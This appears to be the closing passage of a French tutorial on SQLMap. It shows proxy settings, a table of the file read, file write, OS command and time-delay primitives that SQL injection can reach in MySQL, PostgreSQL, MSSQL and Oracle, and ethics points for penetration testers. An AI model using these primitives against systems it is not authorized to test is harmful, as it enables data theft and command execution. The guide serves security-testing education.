export SQLMAP_DISABLE_COLORING=1

# Utiliser un proxy par défaut
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"

Comparaison des SGBD

Fonctionnalité MySQL PostgreSQL MSSQL Oracle
File read ✅ LOAD_FILE() ✅ pg_read_file() ✅ OPENROWSET ✅ UTL_FILE
File write ✅ INTO OUTFILE ✅ COPY TO ✅ OPENROWSET ✅ UTL_FILE
OS command ❌ (via UDF) ❌ (via extensions) ✅ xp_cmdshell ✅ Java stored
Stacked queries
Time delay SLEEP() pg_sleep() WAITFOR DELAY DBMS_LOCK

Conclusion

SQLMap est un outil extrêmement puissant pour détecter et exploiter les vulnérabilités d’injection SQL. Cependant, avec cette puissance vient une grande responsabilité :

Points clés à retenir

  1. Toujours obtenir une autorisation écrite avant tout test
  2. Commencer par les techniques les moins invasives (détection uniquement)
  3. Documenter méticuleusement toutes les actions
  4. Minimiser l’impact sur les systèmes de production
  5. Former continuellement vos compétences sur des environnements légaux

Prochaines étapes

Après avoir maîtrisé SQLMap, explorez :

Ressources additionnelles


Version du document : 1.0 Dernière mise à jour : 2025 Auteur : Guide complet SQLMap

Avertissement : Ce document est fourni à des fins éducatives uniquement. L’auteur et les distributeurs de ce document ne peuvent être tenus responsables de toute utilisation illégale ou non éthique de ces informations.